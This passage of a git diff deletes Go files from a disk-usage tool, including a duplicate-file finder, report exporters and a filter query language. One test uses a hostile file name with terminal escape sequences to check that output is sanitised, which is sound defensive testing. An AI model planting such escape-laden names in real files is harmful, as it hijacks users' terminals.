- return Defaults(), err - } - if s.RefreshHz < 1 || s.RefreshHz > 60 { - s.RefreshHz = 10 - } - return s, nil -} diff --git a/internal/duplicate/duplicate.go b/internal/duplicate/duplicate.go deleted file mode 100644 index a7ad4fe..0000000 --- a/internal/duplicate/duplicate.go +++ /dev/null @@ -1,286 +0,0 @@ -// Package duplicate finds files with identical content in stages: -// -// 1. group by exact size (inventory only, no I/O) -// 2. hash three 16 KiB samples (start, middle, end) of each candidate -// 3. full SHA-256 of files whose samples still collide -// -// Only stage 3 establishes identity. Files are never declared duplicates by -// name or size alone. Reading files may update their access times. -package duplicate - -import ( - "context" - "crypto/sha256" - "io" - "os" - "sort" - "sync" - "sync/atomic" - - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/platform" -) - -// Group is a set of files verified to have identical content. -type Group struct { - Size int64 - Hash [32]byte - Files []inventory.NodeID -} - -// Wasted returns the bytes reclaimable by keeping one copy. -func (g *Group) Wasted() int64 { return g.Size * int64(len(g.Files)-1) } - -// Progress reports activity. -type Progress struct { - Stage string - Candidates int64 // files sharing a size with another file - BytesToHash int64 - BytesHashed int64 - Skipped int64 // unreadable or changed during hashing - VerifiedGroups int64 - CandidateGroups int64 -} - -// Options tunes the search. -type Options struct { - MinSize int64 // ignore files smaller than this (default 1 byte) - Workers int // concurrent readers (default 4) -} - -type cand struct { - id inventory.NodeID - path string - size int64 -} - -const sampleSize = 16 << 10 - -// Finder runs a search and exposes live progress. -type Finder struct { - hashed, toHash, skipped atomic.Int64 - mu sync.Mutex - p Progress -} - -// Progress returns a copy of the current progress. -func (f *Finder) Progress() Progress { - f.mu.Lock() - p := f.p - f.mu.Unlock() - p.BytesHashed, p.BytesToHash, p.Skipped = f.hashed.Load(), f.toHash.Load(), f.skipped.Load() - return p -} - -func (f *Finder) stage(s string, fn func(*Progress)) { - f.mu.Lock() - f.p.Stage = s - if fn != nil { - fn(&f.p) - } - f.mu.Unlock() -} - -// Find searches t (read-locked internally only while collecting candidates). -func (f *Finder) Find(ctx context.Context, t *inventory.Tree, o Options) ([]Group, error) { - if o.MinSize < 1 { - o.MinSize = 1 - } - if o.Workers < 1 { - o.Workers = 4 - } - f.stage("grouping by size", nil) - bySize := map[int64][]cand{} - t.RLock() - t.Walk(t.Root(), func(id inventory.NodeID, n *inventory.Node) bool { - if n.Kind == inventory.KindFile && n.Flags&inventory.FlagHardlinkDup == 0 && n.Size >= o.MinSize { - bySize[n.Size] = append(bySize[n.Size], cand{id: id, size: n.Size}) - } - return true - }) - var groups [][]cand - var ncand int64 - for _, g := range bySize { - if len(g) > 1 { - for i := range g { - g[i].path = t.Path(g[i].id) - } - groups = append(groups, g) - ncand += int64(len(g)) - } - } - t.RUnlock() - f.stage("sampling", func(p *Progress) { p.Candidates = ncand; p.CandidateGroups = int64(len(groups)) }) - - // Stage 2: sample hashes. - var sampled [][]cand - for _, g := range groups { - if ctx.Err() != nil { - return nil, ctx.Err() - } - if g[0].size <= 3*sampleSize { - sampled = append(sampled, g) // a sample would be the whole file - continue - } - sampled = append(sampled, f.split(ctx, g, o.Workers, sampleHash)...) - } - - // Stage 3: full hashes. - var total int64 - for _, g := range sampled { - total += g[0].size * int64(len(g)) - } - f.toHash.Store(total) - f.stage("hashing", nil) - var out []Group - for _, g := range sampled { - if ctx.Err() != nil { - return nil, ctx.Err() - } - for _, sub := range f.splitHash(ctx, g, o.Workers) { - grp := Group{Size: sub.size, Hash: sub.hash} - for _, c := range sub.files { - grp.Files = append(grp.Files, c.id) - } - out = append(out, grp) - } - } - sort.Slice(out, func(i, j int) bool { - if a, b := out[i].Wasted(), out[j].Wasted(); a != b { - return a > b - } - return out[i].Files[0] < out[j].Files[0] - }) - f.stage("done", func(p *Progress) { p.VerifiedGroups = int64(len(out)) }) - return out, ctx.Err() -} - -type hashed struct { - c cand - sum [32]byte - ok bool -} - -// hashAll hashes every candidate with a bounded worker pool. -func (f *Finder) hashAll(ctx context.Context, g []cand, workers int, fn func(*Finder, cand) ([32]byte, bool)) []hashed { - res := make([]hashed, len(g)) - var wg sync.WaitGroup - sem := make(chan struct{}, workers) - for i, c := range g { - if ctx.Err() != nil { - break - } - sem <- struct{}{} - wg.Add(1) - go func() { - defer wg.Done() - defer func() { <-sem }() - sum, ok := fn(f, c) - if !ok { - f.skipped.Add(1) - } - res[i] = hashed{c, sum, ok} - }() - } - wg.Wait() - return res -} - -func (f *Finder) split(ctx context.Context, g []cand, workers int, fn func(*Finder, cand) ([32]byte, bool)) [][]cand { - by := map[[32]byte][]cand{} - for _, h := range f.hashAll(ctx, g, workers, fn) { - if h.ok { - by[h.sum] = append(by[h.sum], h.c) - } - } - var out [][]cand - for _, v := range by { - if len(v) > 1 { - out = append(out, v) - } - } - return out -} - -type fullGroup struct { - size int64 - hash [32]byte - files []cand -} - -func (f *Finder) splitHash(ctx context.Context, g []cand, workers int) []fullGroup { - by := map[[32]byte][]cand{} - for _, h := range f.hashAll(ctx, g, workers, fullHash) { - if h.ok { - by[h.sum] = append(by[h.sum], h.c) - } - } - var out []fullGroup - for sum, v := range by { - if len(v) > 1 { - sort.Slice(v, func(i, j int) bool { return v[i].id < v[j].id }) - out = append(out, fullGroup{size: v[0].size, hash: sum, files: v}) - } - } - return out -} - -// open opens a candidate and checks it still has the inventoried size. -func open(c cand) (*os.File, bool) { - fh, err := platform.OpenContent(c.path) - if err != nil { - return nil, false - } - fi, err := fh.Stat() - if err != nil || !fi.Mode().IsRegular() || fi.Size() != c.size { - fh.Close() - return nil, false - } - return fh, true -} - -func sampleHash(_ *Finder, c cand) ([32]byte, bool) { - fh, ok := open(c) - if !ok { - return [32]byte{}, false - } - defer fh.Close() - h := sha256.New() - buf := make([]byte, sampleSize) - for _, off := range []int64{0, c.size/2 - sampleSize/2, c.size - sampleSize} { - if _, err := fh.ReadAt(buf, off); err != nil && err != io.EOF { - return [32]byte{}, false - } - h.Write(buf) - } - var s [32]byte - h.Sum(s[:0]) - return s, true -} - -func fullHash(f *Finder, c cand) ([32]byte, bool) { - fh, ok := open(c) - if !ok { - return [32]byte{}, false - } - defer fh.Close() - h := sha256.New() - n, err := io.Copy(h, &countingReader{fh, &f.hashed}) - if err != nil || n != c.size { - return [32]byte{}, false - } - var s [32]byte - h.Sum(s[:0]) - return s, true -} - -type countingReader struct { - r io.Reader - n *atomic.Int64 -} - -func (c *countingReader) Read(p []byte) (int, error) { - n, err := c.r.Read(p) - c.n.Add(int64(n)) - return n, err -} diff --git a/internal/duplicate/duplicate_test.go b/internal/duplicate/duplicate_test.go deleted file mode 100644 index 9f2dd3b..0000000 --- a/internal/duplicate/duplicate_test.go +++ /dev/null @@ -1,61 +0,0 @@ -package duplicate - -import ( - "context" - "os" - "path/filepath" - "testing" - - "github.com/andydixon/mapsize/internal/scan" -) - -func TestFind(t *testing.T) { - root := t.TempDir() - big := make([]byte, 200_000) - for i := range big { - big[i] = byte(i * 7) - } - w := func(name string, b []byte) { - if err := os.WriteFile(filepath.Join(root, name), b, 0o644); err != nil { - t.Fatal(err) - } - } - w("a.bin", big) - w("b.bin", big) - // Same size, same samples, different middle-of-nowhere byte: must not match. - c := append([]byte(nil), big...) - c[20_000] ^= 1 - w("c.bin", c) - w("small1", []byte("hello")) - w("small2", []byte("hello")) - w("small3", []byte("world")) // same size, different content - - s, err := scan.Start(context.Background(), root, scan.Options{Workers: 2}) - if err != nil { - t.Fatal(err) - } - <-s.Done() - var f Finder - groups, err := f.Find(context.Background(), s.Tree, Options{}) - if err != nil { - t.Fatal(err) - } - if len(groups) != 2 { - t.Fatalf("groups=%d want 2", len(groups)) - } - names := func(g Group) (out []string) { - for _, id := range g.Files { - out = append(out, s.Tree.Node(id).Name) - } - return - } - if g := names(groups[0]); len(g) != 2 || groups[0].Size != 200_000 { - t.Fatalf("big group %v", g) - } - if g := names(groups[1]); len(g) != 2 { - t.Fatalf("small group %v", g) - } - if p := f.Progress(); p.Candidates != 6 || p.VerifiedGroups != 2 { - t.Fatalf("progress %+v", p) - } -} diff --git a/internal/duplicate/fifo_unix_test.go b/internal/duplicate/fifo_unix_test.go deleted file mode 100644 index fd5b515..0000000 --- a/internal/duplicate/fifo_unix_test.go +++ /dev/null @@ -1,51 +0,0 @@ -//go:build unix - -package duplicate - -import ( - "context" - "os" - "path/filepath" - "syscall" - "testing" - "time" - - "github.com/andydixon/mapsize/internal/scan" -) - -// A candidate replaced by a FIFO (or a symlink to one) after the scan must -// be skipped, not block the search forever in open(2). -func TestFindSkipsSwappedFIFO(t *testing.T) { - root := t.TempDir() - for _, n := range []string{"a", "b", "c"} { - os.WriteFile(filepath.Join(root, n), []byte("same"), 0o644) - } - s, err := scan.Start(context.Background(), root, scan.Options{Workers: 1}) - if err != nil { - t.Fatal(err) - } - <-s.Done() - os.Remove(filepath.Join(root, "b")) - if err := syscall.Mkfifo(filepath.Join(root, "b"), 0o644); err != nil { - t.Skip("mkfifo:", err) - } - fifo2 := filepath.Join(t.TempDir(), "p") - syscall.Mkfifo(fifo2, 0o644) - os.Remove(filepath.Join(root, "c")) - os.Symlink(fifo2, filepath.Join(root, "c")) - - done := make(chan error, 1) - var f Finder - go func() { _, err := f.Find(context.Background(), s.Tree, Options{}); done <- err }() - select { - case err := <-done: - if err != nil { - t.Fatal(err) - } - case <-time.After(5 * time.Second): - t.Fatal("duplicate search blocked on a FIFO") - } - if p := f.Progress(); p.Skipped != 2 { - t.Fatalf("skipped=%d want 2", p.Skipped) - } -} diff --git a/internal/export/export.go b/internal/export/export.go deleted file mode 100644 index 4d8dd3e..0000000 --- a/internal/export/export.go +++ /dev/null @@ -1,221 +0,0 @@ -// Package export writes inventories as JSON, CSV or plain-text reports. -// Callers must hold the tree's read lock (or own the tree exclusively). -package export - -import ( - "bufio" - "encoding/csv" - "encoding/json" - "fmt" - "io" - "path/filepath" - "strconv" - "strings" - "time" - - "github.com/andydixon/mapsize/internal/brand" - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/textutil" -) - -type jsonNode struct { - Name string `json:"name"` - Type string `json:"type"` - Size int64 `json:"size"` - Allocated int64 `json:"allocated"` - Files uint32 `json:"files,omitempty"` - Dirs uint32 `json:"dirs,omitempty"` - Errors uint32 `json:"errors,omitempty"` - Modified string `json:"modified,omitempty"` - Flags []string `json:"flags,omitempty"` - Children []*jsonNode `json:"children,omitempty"` -} - -var flagNames = []struct { - f inventory.Flags - n string -}{ - {inventory.FlagHardlinkDup, "hardlink-duplicate"}, {inventory.FlagMountPoint, "mount-point"}, - {inventory.FlagVirtualFS, "virtual-fs-skipped"}, {inventory.FlagSkippedFS, "other-fs-skipped"}, - {inventory.FlagSparse, "sparse"}, {inventory.FlagError, "error"}, {inventory.FlagIncomplete, "incomplete"}, - {inventory.FlagLoop, "loop-skipped"}, {inventory.FlagFollowed, "followed-symlink"}, - {inventory.FlagAllocUnknown, "allocated-unknown"}, {inventory.FlagBrokenLink, "broken-symlink"}, - {inventory.FlagHardlinked, "hardlinked"}, -} - -// FlagList returns human-readable names for a node's flags. -func FlagList(f inventory.Flags) []string { - var out []string - for _, fn := range flagNames { - if f&fn.f != 0 { - out = append(out, fn.n) - } - } - return out -} - -// JSON writes the tree beneath root as nested JSON, down to maxDepth levels -// (maxDepth < 0 means unlimited). -func JSON(w io.Writer, t *inventory.Tree, root inventory.NodeID, maxDepth int) error { - bw := bufio.NewWriter(w) - st := &t.Stats - head := map[string]any{ - "generator": brand.Name + " " + brand.Version, - "root": t.Path(root), - "complete": !st.Incomplete(), - "cancelled": st.Cancelled, - "started": st.Start.Format(time.RFC3339), - "elapsed_s": st.Elapsed().Seconds(), - "errors": errorCounts(st), - "excluded": st.Excluded, - "excludes": st.Excludes, - "hardlink_duplicates": st.HardlinkDups, - } - hb, err := json.Marshal(head) - if err != nil { - return err - } - bw.Write(hb[:len(hb)-1]) - bw.WriteString(`,"tree":`) - if err := writeNode(bw, t, root, maxDepth); err != nil { - return err - } - bw.WriteString("}\n") - return bw.Flush() -} - -func errorCounts(st *inventory.Stats) map[string]int64 { - m := map[string]int64{} - for k, c := range st.ErrCounts { - if c > 0 { - m[inventory.ErrKind(k).String()] = c - } - } - return m -} - -// writeNode streams one node; children are written recursively so memory -// stays proportional to depth, not tree size. -func writeNode(bw *bufio.Writer, t *inventory.Tree, id inventory.NodeID, depth int) error { - n := t.Node(id) - jn := jsonNode{Name: n.Name, Type: kindName(n.Kind), Size: n.TotSize, Allocated: n.TotAlloc, - Files: n.Files, Dirs: n.Dirs, Errors: n.Errors, Flags: FlagList(n.Flags)} - if n.MTime != 0 { - jn.Modified = time.Unix(0, n.MTime).UTC().Format(time.RFC3339) - } - b, err := json.Marshal(jn) - if err != nil { - return err - } - if n.FirstChild == inventory.NoNode || depth == 0 { - _, err = bw.Write(b) - return err - } - bw.Write(b[:len(b)-1]) - bw.WriteString(`,"children":[`) - first := true - for _, c := range t.SortedChildren(id, inventory.SizeAllocated) { - if !first { - bw.WriteByte(',') - } - first = false - if err := writeNode(bw, t, c, depth-1); err != nil { - return err - } - } - _, err = bw.WriteString("]}") - return err -} - -func kindName(k inventory.Kind) string { - return [...]string{"file", "dir", "symlink", "other"}[k&3] -} - -// CSV writes one row per node beneath root (depth-limited). Paths are -// sanitised so the output is safe to print to a terminal. -func CSV(w io.Writer, t *inventory.Tree, root inventory.NodeID, maxDepth int) error { - cw := csv.NewWriter(w) - cw.Write([]string{"path", "type", "size", "allocated", "files", "dirs", "errors", "modified", "flags"}) - var rec func(id inventory.NodeID, path string, depth int) error - rec = func(id inventory.NodeID, path string, depth int) error { - n := t.Node(id) - mod := "" - if n.MTime != 0 { - mod = time.Unix(0, n.MTime).UTC().Format(time.RFC3339) - } - flags := "" - for i, f := range FlagList(n.Flags) { - if i > 0 { - flags += "|" - } - flags += f - } - if err := cw.Write([]string{textutil.Sanitize(path), kindName(n.Kind), - strconv.FormatInt(n.TotSize, 10), strconv.FormatInt(n.TotAlloc, 10), - strconv.FormatUint(uint64(n.Files), 10), strconv.FormatUint(uint64(n.Dirs), 10), - strconv.FormatUint(uint64(n.Errors), 10), mod, flags}); err != nil { - return err - } - if depth == 0 { - return nil - } - for _, c := range t.SortedChildren(id, inventory.SizeAllocated) { - if err := rec(c, filepath.Join(path, t.Node(c).Name), depth-1); err != nil { - return err - } - } - return nil - } - if err := rec(root, t.Path(root), maxDepth); err != nil { - return err - } - cw.Flush() - return cw.Error() -} - -// Table writes "size % files path" rows for the given nodes. -func Table(w io.Writer, t *inventory.Tree, ids []inventory.NodeID, m inventory.SizeMode) { - total := t.Node(t.Root()).Total(m) - fmt.Fprintf(w, "%12s %6s %12s %s\n", "SIZE", "%", "FILES", "PATH") - for _, id := range ids { - n := t.Node(id) - files := "" - if n.IsDir() { - files = textutil.Count(int64(n.Files)) - } - fmt.Fprintf(w, "%12s %6s %12s %s\n", textutil.Size(n.Total(m)), textutil.Percent(n.Total(m), total), - files, textutil.Sanitize(t.Path(id))) - } -} - -// Summary writes the scan summary, making incompleteness explicit. -func Summary(w io.Writer, t *inventory.Tree) { - st := &t.Stats - r := t.Node(t.Root()) - fmt.Fprintf(w, "Root %s\n", textutil.Sanitize(st.Root)) - fmt.Fprintf(w, "Files %s\n", textutil.Count(st.Files+st.Symlinks+st.Others)) - fmt.Fprintf(w, "Directories %s\n", textutil.Count(st.Dirs)) - fmt.Fprintf(w, "Logical size %s (%d bytes)\n", textutil.Size(r.TotSize), r.TotSize) - fmt.Fprintf(w, "Allocated size %s (%d bytes)\n", textutil.Size(r.TotAlloc), r.TotAlloc) - fmt.Fprintf(w, "Elapsed %s\n", st.Elapsed().Round(time.Millisecond)) - for k, c := range st.ErrCounts { - if c > 0 { - fmt.Fprintf(w, "%-15s %s\n", inventory.ErrKind(k).String(), textutil.Count(c)) - } - } - if st.Excluded > 0 { - fmt.Fprintf(w, "Excluded %s entries (%s)\n", textutil.Count(st.Excluded), textutil.Sanitize(strings.Join(st.Excludes, ", "))) - } - if st.SkippedMounts > 0 { - fmt.Fprintf(w, "Other FS skipped %s\n", textutil.Count(st.SkippedMounts)) - } - if st.VirtualSkipped > 0 { - fmt.Fprintf(w, "Virtual FS skipped %s\n", textutil.Count(st.VirtualSkipped)) - } - if st.HardlinkDups > 0 { - fmt.Fprintf(w, "Hard-link dups %s (counted once)\n", textutil.Count(st.HardlinkDups)) - } - if st.Incomplete() { - fmt.Fprintln(w, "WARNING: totals are incomplete — some data could not be inspected.") - } -} diff --git a/internal/export/export_test.go b/internal/export/export_test.go deleted file mode 100644 index 36a33a1..0000000 --- a/internal/export/export_test.go +++ /dev/null @@ -1,74 +0,0 @@ -package export - -import ( - "bytes" - "encoding/json" - "strings" - "testing" - - "github.com/andydixon/mapsize/internal/inventory" -) - -const hostile = "evil\x1b]0;pwned\x07\x1b[2J" - -func tree() *inventory.Tree { - t := inventory.New("/r", inventory.KindDir) - d := t.Add(0, "d", inventory.KindDir) - f := t.Add(d, hostile, inventory.KindFile) - t.Node(f).Size, t.Node(f).Alloc = 10, 4096 - t.Recompute() - t.Stats.Complete = true - return t -} - -func noControl(t *testing.T, s string) { - t.Helper() - if strings.ContainsAny(s, "\x1b\x07") { - t.Fatalf("raw control characters in output: %q", s) - } -} - -func TestOutputsAreTerminalSafe(t *testing.T) { - tr := tree() - var b bytes.Buffer - if err := CSV(&b, tr, 0, -1); err != nil { - t.Fatal(err) - } - noControl(t, b.String()) - if !strings.Contains(b.String(), `evil\x1b]0;pwned\x07`) { - t.Fatalf("CSV should show the escaped name: %s", b.String()) - } - - b.Reset() - Table(&b, tr, []inventory.NodeID{2}, inventory.SizeAllocated) - Summary(&b, tr) - noControl(t, b.String()) - - b.Reset() - if err := JSON(&b, tr, 0, -1); err != nil { - t.Fatal(err) - } - noControl(t, b.String()) - var v struct { - Tree struct { - Children []struct { - Children []struct{ Name string } - } - } - } - if err := json.Unmarshal(b.Bytes(), &v); err != nil { - t.Fatal(err) - } - // JSON keeps the exact name (escaped by the encoder, decoded back). - if got := v.Tree.Children[0].Children[0].Name; got != hostile { - t.Fatalf("JSON name %q", got) - } -} - -func TestJSONDepthLimit(t *testing.T) { - var b bytes.Buffer - JSON(&b, tree(), 0, 1) - if strings.Contains(b.String(), "evil") { - t.Fatal("depth 1 should not include grandchildren") - } -} diff --git a/internal/filter/apply.go b/internal/filter/apply.go deleted file mode 100644 index 3650325..0000000 --- a/internal/filter/apply.go +++ /dev/null @@ -1,78 +0,0 @@ -package filter - -import ( - "context" - "time" - - "github.com/andydixon/mapsize/internal/inventory" -) - -// Result holds per-node filtered sizes: the bytes of matching content beneath -// each node. A matching directory contributes its whole subtree (once, even -// if descendants match too). Matched marks every node satisfying the query. Nodes added -// after the result was computed (live scan) have no entry and are treated as -// not matching until the filter is re-applied. -type Result struct { - Query *Query - Mode inventory.SizeMode - Sizes []int64 // per NodeID; len = tree size at evaluation time - Matched []bool // node itself matched - Count int64 // number of matching nodes - Total int64 - Elapsed time.Duration -} - -// Size returns the filtered size of id (0 if out of range). -func (r *Result) Size(id inventory.NodeID) int64 { - if int(id) < len(r.Sizes) { - return r.Sizes[id] - } - return 0 -} - -// IsMatch reports whether id itself matched. -func (r *Result) IsMatch(id inventory.NodeID) bool { - return int(id) < len(r.Matched) && r.Matched[id] -} - -// Apply evaluates q over the whole tree. The tree must be read-locked by the -// caller. It relies on parents having smaller IDs than their children. -func Apply(ctx context.Context, t *inventory.Tree, q *Query, m inventory.SizeMode) (*Result, error) { - start := time.Now() - n := t.Len() - r := &Result{Query: q, Mode: m, Sizes: make([]int64, n), Matched: make([]bool, n)} - covered := make([]bool, n) - c := &Ctx{Tree: t, Now: time.Now().UnixNano()} - if q.UsesPath { - c.dirPaths = map[inventory.NodeID]string{} - } - for i := range n { - if i&0xffff == 0 && ctx.Err() != nil { - return nil, ctx.Err() - } - id := inventory.NodeID(i) - nd := t.Node(id) - c.ID, c.Node, c.path = id, nd, "" - if c.dirPaths != nil && nd.IsDir() { - c.path = c.lowerPath() - c.dirPaths[id] = c.path - } - if i > 0 && q.Match(c) { - r.Matched[i] = true - covered[i] = true - r.Count++ - } - if i > 0 && covered[nd.Parent] { - covered[i] = true - } - if covered[i] && nd.Flags&inventory.FlagHardlinkDup == 0 { - r.Sizes[i] = nd.Own(m) - } - } - for i := n - 1; i > 0; i-- { - r.Sizes[t.Node(inventory.NodeID(i)).Parent] += r.Sizes[i] - } - r.Total = r.Sizes[0] - r.Elapsed = time.Since(start) - return r, nil -} diff --git a/internal/filter/eval.go b/internal/filter/eval.go deleted file mode 100644 index cdda783..0000000 --- a/internal/filter/eval.go +++ /dev/null @@ -1,176 +0,0 @@ -package filter - -import ( - "path/filepath" - "regexp" - "strings" - - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/platform" -) - -// Ctx is the evaluation context for one node. The tree must be read-locked. -type Ctx struct { - Tree *inventory.Tree - ID inventory.NodeID - Node *inventory.Node - Now int64 // unix nanoseconds - path string - // dirPaths caches lower-cased directory paths during Apply, which visits - // parents before children, so a node's path is one concatenation. - dirPaths map[inventory.NodeID]string -} - -func (c *Ctx) str(f Field) string { - n := c.Node - switch f { - case FName: - return strings.ToLower(n.Name) - case FPath: - if c.path == "" { - c.path = c.lowerPath() - } - return c.path - case FExt: - return c.Tree.ExtName(n) - case FType: - return strings.ToLower(n.Kind.String()) - case FCategory: - if n.IsDir() { - return "directory" - } - return strings.ToLower(n.Cat.String()) - case FOwner: - return strings.ToLower(platform.UserName(n.UID)) - case FGroup: - return strings.ToLower(platform.GroupName(n.GID)) - } - return "" -} - -func (c *Ctx) num(f Field) int64 { - n := c.Node - switch f { - case FSize: - return n.TotSize - case FAllocated: - return n.TotAlloc - case FAge: - return c.Now - n.MTime - case FModified: - return n.MTime - case FFiles: - return int64(n.Files) - } - return 0 -} - -func (c *Ctx) lowerPath() string { - if c.dirPaths != nil { - if p, ok := c.dirPaths[c.ID]; ok { - return p - } - if pp, ok := c.dirPaths[c.Node.Parent]; ok { - sep := string(filepath.Separator) - if strings.HasSuffix(pp, sep) { - sep = "" - } - return pp + sep + strings.ToLower(c.Node.Name) - } - } - return strings.ToLower(c.Tree.Path(c.ID)) -} - -type node interface{ eval(*Ctx) bool } - -type andNode struct{ l, r node } -type orNode struct{ l, r node } -type notNode struct{ n node } - -func (n andNode) eval(c *Ctx) bool { return n.l.eval(c) && n.r.eval(c) } -func (n orNode) eval(c *Ctx) bool { return n.l.eval(c) || n.r.eval(c) } -func (n notNode) eval(c *Ctx) bool { return !n.n.eval(c) } - -type containsNode struct { - field Field - sub string -} - -func (n containsNode) eval(c *Ctx) bool { return strings.Contains(c.str(n.field), n.sub) } - -type globNode struct { - field Field - pat string -} - -func (n globNode) eval(c *Ctx) bool { - ok, _ := filepath.Match(n.pat, c.str(n.field)) - return ok -} - -type reNode struct { - field Field - re *regexp.Regexp -} - -func (n reNode) eval(c *Ctx) bool { return n.re.MatchString(c.str(n.field)) } - -type eqNode struct { - field Field - set []string -} - -func (n eqNode) eval(c *Ctx) bool { - if n.field == FFlag { - for _, s := range n.set { - if c.Node.Flags&flagNames[s] != 0 { - return true - } - } - return false - } - v := c.str(n.field) - for _, s := range n.set { - if v == s { - return true - } - } - return false -} - -type numNode struct { - field Field - op string - vals []int64 -} - -func (n numNode) eval(c *Ctx) bool { - if (n.field == FAge || n.field == FModified) && c.Node.MTime == 0 { - return false // unknown time never matches - } - v := c.num(n.field) - for _, x := range n.vals { - var ok bool - switch n.op { - case "=": - ok = v == x - case "!=": - ok = v != x - case ">": - ok = v > x - case ">=": - ok = v >= x - case "<": - ok = v < x - case "<=": - ok = v <= x - } - if ok { - return true - } - } - return false -} - -// Match evaluates the query against one node. -func (q *Query) Match(c *Ctx) bool { return q.root.eval(c) } diff --git a/internal/filter/filter_test.go b/internal/filter/filter_test.go deleted file mode 100644 index c6a4d43..0000000 --- a/internal/filter/filter_test.go +++ /dev/null @@ -1,122 +0,0 @@ -package filter - -import ( - "context" - "testing" - "time" - - "github.com/andydixon/mapsize/internal/inventory" -) - -func tree() *inventory.Tree { - t := inventory.New("/srv", inventory.KindDir) - vms := t.Add(0, "vms", inventory.KindDir) - cache := t.Add(0, "cache", inventory.KindDir) - add := func(p inventory.NodeID, name string, size int64, age time.Duration) inventory.NodeID { - id := t.Add(p, name, inventory.KindFile) - n := t.Node(id) - n.Size, n.Alloc = size, size - n.MTime = time.Now().Add(-age).UnixNano() - n.Cat = inventory.CategoryFor(inventory.Ext(name), false, false) - return id - } - add(vms, "ubuntu.qcow2", 80<<30, 400*24*time.Hour) - add(vms, "win.vmdk", 40<<30, time.Hour) - add(vms, "notes.txt", 1000, time.Hour) - add(cache, "blob.iso", 700<<20, 10*24*time.Hour) - add(cache, "x.tmp", 10, time.Hour) - t.Recompute() - return t -} - -func names(t *testing.T, tr *inventory.Tree, q string) map[string]bool { - t.Helper() - pq, err := Parse(q, time.Now()) - if err != nil { - t.Fatalf("Parse(%q): %v", q, err) - } - r, err := Apply(context.Background(), tr, pq, inventory.SizeLogical) - if err != nil { - t.Fatal(err) - } - out := map[string]bool{} - for i := range tr.Len() { - if r.IsMatch(inventory.NodeID(i)) { - out[tr.Node(inventory.NodeID(i)).Name] = true - } - } - return out -} - -func TestQueries(t *testing.T) { - tr := tree() - cases := map[string][]string{ - "ubuntu": {"ubuntu.qcow2"}, - "*.iso": {"blob.iso"}, - "size > 1GB": {"vms", "ubuntu.qcow2", "win.vmdk"}, - "size > 1GB AND type = file": {"ubuntu.qcow2", "win.vmdk"}, - "ext = qcow2": {"ubuntu.qcow2"}, - "size > 500MB AND ext IN (iso,qcow2,vmdk)": {"ubuntu.qcow2", "win.vmdk", "blob.iso"}, - "path contains cache": {"cache", "blob.iso", "x.tmp"}, - "age > 365d": {"ubuntu.qcow2"}, - "NOT type = dir AND size < 1k": {"notes.txt", "x.tmp"}, - "(ext = iso OR ext = tmp) type=file": {"blob.iso", "x.tmp"}, - "category = vm": {"ubuntu.qcow2", "win.vmdk", "blob.iso"}, - "name matches '^w.*k$'": {"win.vmdk"}, - "ext != qcow2 && type = file && size > 1GB": {"win.vmdk"}, - "name = 'notes.txt'": {"notes.txt"}, - } - for q, want := range cases { - got := names(t, tr, q) - if len(got) != len(want) { - t.Errorf("%q: got %v want %v", q, got, want) - continue - } - for _, w := range want { - if !got[w] { - t.Errorf("%q: got %v want %v", q, got, want) - } - } - } -} - -func TestFilteredSizesNoDoubleCount(t *testing.T) { - tr := tree() - q, _ := Parse("name = vms OR ext = qcow2", time.Now()) - r, _ := Apply(context.Background(), tr, q, inventory.SizeLogical) - if want := tr.Node(1).TotSize; r.Total != want { - t.Fatalf("total %d want %d (matching dir must not double count matching child)", r.Total, want) - } -} - -func TestParseErrors(t *testing.T) { - for _, q := range []string{"", "size >", "size > banana", "(ext = iso", "ext = iso)", "size contains 5", - "name matches '['", "type = blob", "'unterminated", "a & b", "category = nope"} { - if _, err := Parse(q, time.Now()); err == nil { - t.Errorf("Parse(%q) should fail", q) - } - } -} - -func TestParseSize(t *testing.T) { - cases := map[string]int64{"1GB": 1e9, "1GiB": 1 << 30, "1.5k": 1536, "500MB": 5e8, "10": 10} - for in, want := range cases { - if got, err := ParseSize(in); err != nil || got != want { - t.Errorf("ParseSize(%q)=%d,%v want %d", in, got, err, want) - } - } -} - -func FuzzParse(f *testing.F) { - for _, s := range []string{"size > 1GB", "(a OR b) AND NOT c", "ext IN (a,b)", "'x", "name matches '.*'"} { - f.Add(s) - } - tr := tree() - f.Fuzz(func(t *testing.T, s string) { - q, err := Parse(s, time.Now()) - if err != nil { - return - } - Apply(context.Background(), tr, q, inventory.SizeAllocated) - }) -} diff --git a/internal/filter/lexer.go b/internal/filter/lexer.go deleted file mode 100644 index bf72624..0000000 --- a/internal/filter/lexer.go +++ /dev/null @@ -1,103 +0,0 @@ -// Package filter implements the search/filter query language: -// -// query := or -// or := and { OR and } -// and := unary { [AND] unary } (juxtaposition means AND) -// unary := NOT unary | "(" query ")" | cmp | word -// cmp := field op value -// op := = | != | > | >= | < | <= | contains | matches | in | ~ -// value := word | "quoted string" | "(" value { "," value } ")" -// -// A bare word matches the name: substring (case-insensitive), or a glob if it -// contains * ? or [. Parsing is independent of the UI and fully testable. -package filter - -import ( - "fmt" - "strings" - "unicode" -) - -type tokKind int - -const ( - tEOF tokKind = iota - tWord - tString - tOp - tLParen - tRParen - tComma -) - -type token struct { - kind tokKind - val string - pos int -} - -func lex(s string) ([]token, error) { - var out []token - i := 0 - for i < len(s) { - c := s[i] - switch { - case c == ' ' || c == '\t' || c == '\n' || c == '\r': - i++ - case c == '(': - out = append(out, token{tLParen, "(", i}) - i++ - case c == ')': - out = append(out, token{tRParen, ")", i}) - i++ - case c == ',': - out = append(out, token{tComma, ",", i}) - i++ - case c == '"' || c == '\'': - q := c - start := i - i++ - var b strings.Builder - for i < len(s) && s[i] != q { - if s[i] == '\\' && i+1 < len(s) { - i++ - } - b.WriteByte(s[i]) - i++ - } - if i >= len(s) { - return nil, fmt.Errorf("unterminated string at %d", start+1) - } - i++ - out = append(out, token{tString, b.String(), start}) - case strings.ContainsRune("=!<>~&|", rune(c)): - start := i - op := string(c) - if i+1 < len(s) && (s[i+1] == '=' || (c == '&' && s[i+1] == '&') || (c == '|' && s[i+1] == '|')) { - op += string(s[i+1]) - } - i += len(op) - switch op { - case "&&": - out = append(out, token{tWord, "AND", start}) - case "||": - out = append(out, token{tWord, "OR", start}) - case "!": - out = append(out, token{tWord, "NOT", start}) - case "&", "|": - return nil, fmt.Errorf("unexpected %q at %d", op, start+1) - case "==": - out = append(out, token{tOp, "=", start}) - default: - out = append(out, 